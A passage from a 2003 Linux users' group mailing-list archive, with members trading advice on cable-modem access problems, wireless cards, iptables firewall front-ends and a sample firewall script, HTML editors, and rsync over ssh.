fine. (I'm doing so to compose this message.) I reset > router, but that didn't change anything. Any ideas? > Maybe you know this already, but it's not clear to me from your message: who is generating the "access denied" message? I'd try a "lynx -mime_header -source" to narrow down the problem. -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Thu Aug 28 14:17:35 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] LinkSys cable modem and such In-Reply-To: <20030828023626.GK13598@techmonkeys.org> Message-ID: If you do report the problem to your cable company, they'll tell you to get rid of crappy splitters. Or if you get a tech to your place, they will usually give you better splitters. A tech can also check your signal. At least with Time Warner, haven't delt with anyone else yet. Depending on where you live, a cable tech might have to come out and checkout things on their end. Apperently some residents in my apartment building were complaining about poor picture, and some random tech came out and cranked up the signal strength to the point where it would kill Road Runner connections. Turning the signal strength down seems to have fixed our problems, and I don't have any picture quality issues, so hopefully nobody will complain until after I move out. Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 28 15:43:49 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] This is off topic but important. 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If you would like to unsubscribe from Alliance@IBM, or update your account settings, please click here or respond to this email with "REMOVE" as the subject line. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mthoren at mttcc.com Thu Aug 28 15:59:49 2003 From: mthoren at mttcc.com (Matt Thoren) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. Message-ID: <3F4E6D45.50801@mttcc.com> I am considering buying a wireless pcmcia card for my laptop running RH8. What is the most linux friendly card to buy? Where are the best wifi locations in the Twin Cities? Thanks, Matt. -- Matt Thoren MTT Computer Consulting Inc. mthoren@mttcc.com http://www.mttcc.com 612-743-8773 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bfriedman at excite.com Thu Aug 28 10:19:22 2003 From: bfriedman at excite.com (bfriedman@excite.com) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] seeking suggestions for iptables front-end Message-ID: <20030828151922.887F8BFA9@xmxpita.excite.com> Anyone have suggestions for setting up a decent iptables ruleset? I tried to construct a ruleset by hand over the weekend for a home lan, and I kept running into ports that I either needed open (i do some development at home, and have a couple of databases I access while at work) or needed closed (why does my girlfriend use msn messenger? )#@*($@#)#%@___) Just curious if anyone has used a front-end for iptables that made it speedier. Thanks, Brent Friedman _______________________________________________ Join Excite! - http://www.excite.com The most personalized portal on the Web! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From erik at andersonfam.org Thu Aug 28 16:23:14 2003 From: erik at andersonfam.org (Erik Anderson) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] seeking suggestions for iptables front-end In-Reply-To: <20030828151922.887F8BFA9@xmxpita.excite.com> References: <20030828151922.887F8BFA9@xmxpita.excite.com> Message-ID: <3F4E72C2.1040704@andersonfam.org> I've been using gShield for a few years and it's worked great. You can find it here... http://muse.linuxmafia.org/gshield.html - Erik bfriedman@excite.com wrote: > > > Anyone have suggestions for setting up a decent iptables ruleset? I tried to construct a ruleset by hand over the weekend for a home lan, and I kept running into ports that I either needed open (i do some development at home, and have a couple of databases I access while at work) or needed closed (why does my girlfriend use msn messenger? )#@*($@#)#%@___) > > Just curious if anyone has used a front-end for iptables that made it speedier. > > Thanks, > > Brent Friedman > > _______________________________________________ > Join Excite! - http://www.excite.com > The most personalized portal on the Web! > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From stevered at mm.com Thu Aug 28 16:27:28 2003 From: stevered at mm.com (Steve Redding) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] seeking suggestions for iptables front-end In-Reply-To: <20030828151922.887F8BFA9@xmxpita.excite.com> References: <20030828151922.887F8BFA9@xmxpita.excite.com> Message-ID: <1760.199.199.204.21.1062106048.squirrel@ice.mm.com> http://shorewall.sourceforge.net/ Steve > Just curious if anyone has used a front-end for iptables that made it > speedier. > > Thanks, > > Brent Friedman _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Thu Aug 28 16:49:56 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <3F4E6D45.50801@mttcc.com>; from mthoren@mttcc.com on Thu, Aug 28, 2003 at 03:59:49PM -0500 References: <3F4E6D45.50801@mttcc.com> Message-ID: <20030828164956.D406@thinkunix.net> Matt Thoren wrote: > I am considering buying a wireless pcmcia card for my laptop running RH8. > What is the most linux friendly card to buy? no experience personally, my laptop has wi-fi built in. You want a Prism based chipset I believe. I've heard good things about Netgear MA401, which is a 16-bit card, but again, not personal experience with it. It also depends on what speed/standard you want to interface with. 802.11b is probably in most widespread usage. you could also try asking the wireless users group (TCWUG) http://www.tcwug.org/ > Where are the best wifi locations in the Twin Cities? I've put together a small list of some wireless spots here: http://thinkunix.net/unix/networking/wireless/ -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Thu Aug 28 16:55:42 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] seeking suggestions for iptables front-end In-Reply-To: <20030828151922.887F8BFA9@xmxpita.excite.com>; from bfriedman@excite.com on Thu, Aug 28, 2003 at 11:19:22AM -0400 References: <20030828151922.887F8BFA9@xmxpita.excite.com> Message-ID: <20030828165542.E406@thinkunix.net> Check here for a list of various firewall tools for Linux and *BSD's: http://thinkunix.net/unix/security/firewalls/ Personally, I've tried alot of the GUI frontends to iptables and usually ended up just coding the ruleset by hand. YMMV. bfriedman@excite.com wrote: > Anyone have suggestions for setting up a decent iptables ruleset? I tried to construct a ruleset by hand over the weekend for a home lan, and I kept running into ports that I either needed open (i do some development at home, and have a couple of databases I access while at work) or needed closed (why does my girlfriend use msn messenger? )#@*($@#)#%@___) > > Just curious if anyone has used a front-end for iptables that made it speedier. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adam at askewview.net Thu Aug 28 18:16:07 2003 From: adam at askewview.net (Adam) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <20030828164956.D406@thinkunix.net> References: <3F4E6D45.50801@mttcc.com> <20030828164956.D406@thinkunix.net> Message-ID: <4572.64.83.200.253.1062112567.squirrel@webmail.askewview.net> I'm running an Proxim Orinoco Silver card and have had great success with it. It has a much better antenna than my linksys or netgear wifi cards. Works will with RH9 havent tried it with 8. Adam > Matt Thoren wrote: >> I am considering buying a wireless pcmcia card for my laptop running >> RH8. >> What is the most linux friendly card to buy? > > no experience personally, my laptop has wi-fi built in. You want a Prism > based chipset I believe. I've heard good things about Netgear MA401, > which is a 16-bit card, but again, not personal experience with it. > It also depends on what speed/standard you want to interface with. > 802.11b is probably in most widespread usage. > > you could also try asking the wireless users group (TCWUG) > http://www.tcwug.org/ > >> Where are the best wifi locations in the Twin Cities? > > I've put together a small list of some wireless spots here: > http://thinkunix.net/unix/networking/wireless/ > > -- > scot > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Thu Aug 28 18:43:25 2003 From: nate at refried.org (nate@refried.org) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] Linksys router denying web access In-Reply-To: <20030828024829.GA11602@isis.visi.com> References: <20030828024829.GA11602@isis.visi.com> Message-ID: <20030828234325.GC25036@refried.org> On Wed, Aug 27, 2003 at 09:48:29PM -0500, Tim Wilson wrote: > I just got my Comcast broadband connected and I sat down to hit Slashdot ... > You were denied access because: > Access denied by access control list. I don't know if Comcast is still doing this but they used to require you to provision your cable modem to get it to run. That meant telling their tech support what the MAC address of the cable modem and the MAC address of the computer behind it was. I think there was a serial number for the cable modem too. So if you used your laptop to test the connection when the cable guy was there, then moved in your firewall box, you had to call tech support to change it over before it would work. That's my best guess. Nate Hoping that Charter Cable doesn't give me nightmares. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From john at minn.tc Thu Aug 28 18:57:38 2003 From: john at minn.tc (John T. Hoffoss) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] seeking suggestions for iptables front-end In-Reply-To: <3F4E72C2.1040704@andersonfam.org> References: <20030828151922.887F8BFA9@xmxpita.excite.com> <3F4E72C2.1040704@andersonfam.org> Message-ID: <20030828235738.GA16800@minn.tc> I've used both firehol and firestarter. I liked firehol more myself, CLI only. John > >Anyone have suggestions for setting up a decent iptables ruleset? I tried > >to construct a ruleset by hand over the weekend for a home lan, and I kept > >running into ports that I either needed open (i do some development at > >home, and have a couple of databases I access while at work) or needed > >closed (why does my girlfriend use msn messenger? )#@*($@#)#%@___) > > > >Just curious if anyone has used a front-end for iptables that made it > >speedier. > > > >Thanks, > > > >Brent Friedman -- ______________________________________________________ |o John T. Hoffoss Page 1/1 o| |o o| |o [personal] hoff0438@umn.edu [mobile] 612.867.1432 o| |o [personal] john@hoffoss.com [inet] http://minn.tc o| |o [personal] john@minn.tc o| |o o| |o [Linux] The best text adventure game ever. o| |o _ _ _ _o| |o _ _ _ _ _ / `-' `-' `-' `. |o _ _ _ _ / `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Thu Aug 28 21:21:16 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: <3F4CFF7D.2040505@eworld3.net> References: <20030826235419.GA25036@refried.org> <16204.55704.638416.258959@gargle.gargle.HOWL> <3F4CFF7D.2040505@eworld3.net> Message-ID: <16206.47260.276425.498430@gargle.gargle.HOWL> >>>>> "Rick" == Rick Meyerhoff writes: Rick> Could you tell me the URL for Keyring? I don't remember, but I know it's hosted on sourceforge, so just go to sourceforge.net and search for "keyring" in project. I think it may now be called "GNU Keyring." You can get the jpilot plugin from the jpilot source. Mandrake 9.1 has the keyring plugin, but mistakenly fails to install the jpilot plugins libraries rpm when you install the jpilot rpm, so that's a gotcha. It's there, but you've gotta plug it in yourself. Not sure about RH, Debian, or anything else. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Thu Aug 28 21:50:36 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] seeking suggestions for iptables front-end In-Reply-To: <1760.199.199.204.21.1062106048.squirrel@ice.mm.com> References: <20030828151922.887F8BFA9@xmxpita.excite.com> <1760.199.199.204.21.1062106048.squirrel@ice.mm.com> Message-ID: <3F4EBF7C.9050101@druswanderings.net> Steve Redding wrote: >http://shorewall.sourceforge.net/ > >Steve > > > > > I second this although the actual address is: http://www.shorewall.net It has very well-commented text config files and the documentation ain't too shabby either. --The Wandering Dru _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Thu Aug 28 22:07:19 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] seeking suggestions for iptables front-end In-Reply-To: <20030828165542.E406@thinkunix.net> References: <20030828151922.887F8BFA9@xmxpita.excite.com> <20030828165542.E406@thinkunix.net> Message-ID: <20030829030719.GA6032@skuld.wookimus.net> On Thu, Aug 28, 2003 at 04:55:42PM -0500, Scot Jenkins wrote: > Personally, I've tried alot of the GUI frontends to iptables and > usually ended up just coding the ruleset by hand. YMMV. I find this to be quite true as well. Most firewalls are quite simple, especially with iptables state-based filtering. Here's an exceedingly simple example: #!/bin/sh # Set up default policy iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP # Allow all local loopback iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # First, "whitelist" -- accept established,related connections. Fastest # processing of incoming packets. Because we accept immediately, # tracking bandwidth usage by port doesn't work, but who cares? iptables -A INPUT -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT # Next, incoming "blacklists". e.g. modem block from attbi iptables -N blacklist iptables -A blacklist -s bad.ip.address -j DROP # Drop back TCP packets iptables -A blacklist -p tcp ! -syn -m state --state NEW -j LOG \ --log-level INFO --log-prefix "IPT New not syn:" iptables -A blacklist -p tcp ! -syn -m state --state NEW -j DROP # Add blacklist to INPUT iptables -A INPUT -i eth0 -j blacklist # Hosting these services: ssh, http, https, auth, ftp iptables -A INPUT -i eth0 -p tcp --dport ssh -j ACCEPT # Remote access iptables -A INPUT -i eth0 -p tcp --dport auth -j ACCEPT # For identd calls iptables -A INPUT -i eth0 -p tcp --dport http -j ACCEPT # Web iptables -A INPUT -i eth0 -p tcp --dport https -j ACCEPT # Secure web iptables -A INPUT -i eth0 -p tcp --dport imap -j ACCEPT # Email # You don't want to regulate outgoing traffic, do you? iptables -A OUTPUT -o eth0 -j ACCEPT # If you want to log packets before you drop them via default policy, # uncomment these: #iptables -A INPUT -i eth0 -j LOG --log-level INFO --log-prefix "IPT drop eth0:" #iptables -A OUTPUT -i eth0 -j LOG --log-level INFO --log-prefix "IPT drop eth0:" # Done. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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I've been starting by first laying out my tables and stuff with the mozilla composer then doing everything else in vi. any suggestions? -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Fri Aug 29 07:38:14 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] OT html editors In-Reply-To: <1062136634.9575.12.camel@lotsa> References: <1062136634.9575.12.camel@lotsa> Message-ID: <3F4F4936.5070306@druswanderings.net> Tom Penney wrote: > I've found myself writing a lot of html lately. I'm not doing anything > too fancy, just stamping out a bunch of fairly simple pages. What are > people using for writing web pages? I have not done a lot of this in the > past. starting from scratch with a vim takes me forever and is not fun > working with tables. Things like changing the background color in one > row of a table is a pain. I downloaded bluefish, which is a nifty tool > but still no graphical editing. Mozilla composer works great for tables > but it messes up the formating of the file terribly. It changes things > automatically that I don't want changed. > > I've been starting by first laying out my tables and stuff with the > mozilla composer then doing everything else in vi. any suggestions? > I use Bluefish when I can. When I'm forced to use windows(at work) I use Ultra-Edit. Mozilla's Composer can be told to "leave my code the hell alone!" Check out the preferences. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cschumann at twp-llc.com Fri Aug 29 08:08:30 2003 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Linksys router denying web access In-Reply-To: <20030829133801.10587.17499.Mailman@pirate.real-time.com> Message-ID: > From: nate@refried.org > Date: Thu, 28 Aug 2003 18:43:25 -0500 > On Wed, Aug 27, 2003 at 09:48:29PM -0500, Tim Wilson wrote: > > I just got my Comcast broadband connected and I sat down to hit Slashdot > ... > > You were denied access because: > > Access denied by access control list. > > I don't know if Comcast is still doing this but they used to require you > to provision your cable modem to get it to run. That meant telling > their tech support what the MAC address of the cable modem and the > MAC address of the computer behind it was. I think there was a serial > number for the cable modem too. So if you used your laptop to test the > connection when the cable guy was there, then moved in your firewall > box, you had to call tech support to change it over before it would > work. I got cable Internet from AT&T (now Comcast) last year. They installed a butt-ugly, no, fugly 3Com cable modem. Not only fugly, but not stackable. I bought a LinkSys cable modem, and of course before doing anything else, installed it. I couldn't get anywhere I wanted to... until I tried attbi.com. That worked. I called their tech. support and was put on hold. While I was waiting, I found my account setup, added my new cable modem to the list of devices, removed the old one and everything was dandy. I hung up before a real person answered. I did not have to provide the MAC of my computer, nor did I have to change anything when I added a router between the two. One would hope that the new Comcast.net site still has such a feature. Chris _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 29 08:12:24 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Linksys router denying web access In-Reply-To: <20030828024829.GA11602@isis.visi.com> Message-ID: On Wed, 27 Aug 2003, Tim Wilson wrote: > I just got my Comcast broadband connected and I sat down to hit Slashdot > on my desktop Linux box. Before that I had successfully browsed the Web > with a Compaq laptop running WinXP and my Palm Tungsten C. Any Web > request is greeted with the following message: Hey, Tim, for the benefit of those not on IRC, you might want to mention to the list that the issue is resolved, so people will stop offering suggestions. Just a thought. You can show up at the next Beer Meeting for your LARTing. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 29 08:19:59 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Linksys router denying web access In-Reply-To: <20030828234325.GC25036@refried.org> Message-ID: On Thu, 28 Aug 2003 refried wrote: > Hoping that Charter Cable doesn't give me nightmares. Only the ones where you're being chased in slow motion. Seriously, though, I haven't had any problems with Charter in the three months I've managed an installation. YMMV, but things look okay, if a bit slow. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joel at joelschneider.net Fri Aug 29 08:39:15 2003 From: joel at joelschneider.net (Joel Schneider) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Rant In-Reply-To: ; from adamm@sihope.com on Mon, Aug 25, 2003 at 11:32:57AM -0500 References: Message-ID: <20030829083915.B22978@joelschneider.net> On Mon, Aug 25, 2003 at 11:32:57AM -0500, Adam Maloney wrote: > This is a rant. I'm not looking for help, just an outlet to vent. Please > don't reply with fixes I once went through the entertaining (?) experience of setting up linux on an old Compaq ProLiant 1500. The process ended up being a bit complicated so I documented it on a web page: http://www.joelschneider.net/compaq_proliant_1500_debian_potato.html -- Joel Schneider joel@joelschneider.net Linux makes computing fun again. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From wilson at visi.com Fri Aug 29 09:55:40 2003 From: wilson at visi.com (Tim Wilson) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Linksys router denying web access In-Reply-To: References: Message-ID: <200308290955.40163.wilson@visi.com> On Friday 29 August 2003 08:12 am, Jima wrote: > Hey, Tim, for the benefit of those not on IRC, you might want to mention > to the list that the issue is resolved, so people will stop offering > suggestions. Just a thought. > You can show up at the next Beer Meeting for your LARTing. I was just about to do that. It turns out that my browsers were still configured to use visi's http proxy server. That's why everything else worked fine except http. All together now... Duh!! -Tim -- Tim Wilson Twin Cities, Minnesota, USA Science teacher, Linux fan, Zope developer, Grad. student, Daddy mailto:wilson@visi.com | http://qwerk.org/ | public key: 0x8C0F8813 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mjn at umn.edu Fri Aug 29 09:58:10 2003 From: mjn at umn.edu (mjn) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Am I stupid... Message-ID: or is rsync the problem? I've got an account on a RH box running Ensim WEBppliance for linux. I am trying to use rsync to connect to the box and backup a directory to my local machine. The problem is that the Ensim software uses virtual servers and instead of a plain old username, you've got to login with 'username@domain.org' So, likesay, an ssh connection must by executed like this: 'ssh -l username@domain.org domain.org' To be successful. The issue seems to be that rsync has no --user flag in it. I have tried a few variations of the command -and read the documentation over and over- and connecting like this: 'rsync -vr user@domain.org@domain.org:/path/to/remote /path/to/local' Always yields something like: "domain.org@domain.org's password: " Anyone have any ideas? I am thinking that I need to push from the server rather than pull from my workstation but then I would need access to the rsync executable on the server, which I don't have... Any suggestions would be much appretiated. thanks! -- _______________________________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs =============================================== E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com _______________________________________________ "What is important, it seems to me, is not so much to defend a culture whose existence has never kept a man from going hungry, as to extract, from what is called culture, ideas whose compelling force is identical with that of hunger." -Antonin Artaud _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cdf123 at cdf123.com Fri Aug 29 09:59:47 2003 From: cdf123 at cdf123.com (Chris Frederick) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] OT html editors In-Reply-To: <1062136634.9575.12.camel@lotsa> References: <1062136634.9575.12.camel@lotsa> Message-ID: <3F4F6A63.3040009@cdf123.com> Tom Penney wrote: >I've found myself writing a lot of html lately. I'm not doing anything >too fancy, just stamping out a bunch of fairly simple pages. What are >people using for writing web pages? I have not done a lot of this in the >past. starting from scratch with a vim takes me forever and is not fun >working with tables. Things like changing the background color in one >row of a table is a pain. I downloaded bluefish, which is a nifty tool >but still no graphical editing. Mozilla composer works great for tables >but it messes up the formating of the file terribly. It changes things >automatically that I don't want changed. > >I've been starting by first laying out my tables and stuff with the >mozilla composer then doing everything else in vi. any suggestions? > > > I highly recommend learning Regular Expresions. I was getting pretty good with vim with web development, but like you said, sometimes working with tables by hand takes forever. But now that I know Regular Expresions, I see tables for what they are, patterns. And HTML is extremely "RegEx frendly", the whole language is nothing but patterns of tags. For a real quick example, it only takes one command in vim to right align all the cells with numeric data in them (:s/\(\d\+\)<\/td>/\1<\/td>/g). If you're going to be making large changes with HTML, or other simalar files (XML is even easier yet), a good grasp on Regular Expresions is a HUGE help. I've used UltraEdit and Visual Interdev on Windows, and I droped them both for vim through Putty. And I agree with the wysisyg editors, they tend to do their own thing and format stuff their own way, but it usually ends with some really horid code. After correcting another developer's form made with some insane wysiwyg editor, (I managed to trim enough blank s and repeated tags to go from 389K of HTML to less than 60K) I refuse to use another wysiwyg editor until I see one that does HTML correctly and without bogus formating everywhere. Just my $.02 (and bad spelling) Chris Frederick _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Fri Aug 29 10:03:30 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Am I stupid... Message-ID: Can you use rsync over ssh? rsync -e 'ssh -l user@domain.org' -vr domain.org:/path/to/remote /path/to/local I haven't tested that, but try it and see if it works for you. >>> mjn@umn.edu 08/29/03 09:58AM >>> or is rsync the problem? I've got an account on a RH box running Ensim WEBppliance for linux. I am trying to use rsync to connect to the box and backup a directory to my local machine. The problem is that the Ensim software uses virtual servers and instead of a plain old username, you've got to login with 'username@domain.org' So, likesay, an ssh connection must by executed like this: 'ssh -l username@domain.org domain.org' To be successful. The issue seems to be that rsync has no --user flag in it. I have tried a few variations of the command -and read the documentation over and over- and connecting like this: 'rsync -vr user@domain.org@domain.org:/path/to/remote /path/to/local' Always yields something like: "domain.org@domain.org's password: " Anyone have any ideas? I am thinking that I need to push from the server rather than pull from my workstation but then I would need access to the rsync executable on the server, which I don't have... Any suggestions would be much appretiated. thanks! -- _______________________________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs =============================================== E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com _______________________________________________ "What is important, it seems to me, is not so much to defend a culture whose existence has never kept a man from going hungry, as to extract, from what is called culture, ideas whose compelling force is identical with that of hunger." -Antonin Artaud _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 29 10:08:46 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <4572.64.83.200.253.1062112567.squirrel@webmail.askewview.net> References: <3F4E6D45.50801@mttcc.com> <20030828164956.D406@thinkunix.net> <4572.64.83.200.253.1062112567.squirrel@webmail.askewview.net> Message-ID: <20030829150846.GD10227@fandre.com> I second the Orinoco card. I have 2 laptops, one with an Orinoco Silver and another with a Linksys. I'm lucky to get a signal in many parts of my house with the Linksys while the Orinoco has no problems at all. Plus the Orinoco has an external antenna connector if I really want to have some fun. On Thu, 28 Aug 2003, Adam wrote: > I'm running an Proxim Orinoco Silver card and have had great success with > it. It has a much better antenna than my linksys or netgear wifi cards. > Works will with RH9 havent tried it with 8. > > Adam > > > > Matt Thoren wrote: > >> I am considering buying a wireless pcmcia card for my laptop running > >> RH8. > >> What is the most linux friendly card to buy? > > > > no experience personally, my laptop has wi-fi built in. You want a Prism > > based chipset I believe. I've heard good things about Netgear MA401, > > which is a 16-bit card, but again, not personal experience with it. > > It also depends on what speed/standard you want to interface with. > > 802.11b is probably in most widespread usage. > > > > you could also try asking the wireless users group (TCWUG) > > http://www.tcwug.org/ > > > >> Where are the best wifi locations in the Twin Cities? > > > > I've put together a small list of some wireless spots here: > > http://thinkunix.net/unix/networking/wireless/ > > > > -- > > scot > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Clay Fandre email: clay at fandre.com PGP Key ID: 0x50DBBB60 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 29 10:11:29 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Am I stupid... In-Reply-To: References: Message-ID: <20030829151129.GE10227@fandre.com> BTW, you don't need the -l if you use username@system. It's one or the other. ssh -l user system or ssh user@system On Fri, 29 Aug 2003, Troy.A Johnson wrote: > Can you use rsync over ssh? > > rsync -e 'ssh -l user@domain.org' -vr domain.org:/path/to/remote > /path/to/local > > I haven't tested that, but try it > and see if it works for you. > > >>> mjn@umn.edu 08/29/03 09:58AM >>> > or is rsync the problem? > > I've got an account on a RH box running Ensim WEBppliance for linux. I am > trying to use rsync to connect to the box and backup a directory to my > local machine. The problem is that the Ensim software uses virtual > servers > and instead of a plain old username, you've got to login with > 'username@domain.org' > > So, likesay, an ssh connection must by executed like this: > > 'ssh -l username@domain.org domain.org' > > To be successful. The issue seems to be that rsync has no --user flag in > it. > > I have tried a few 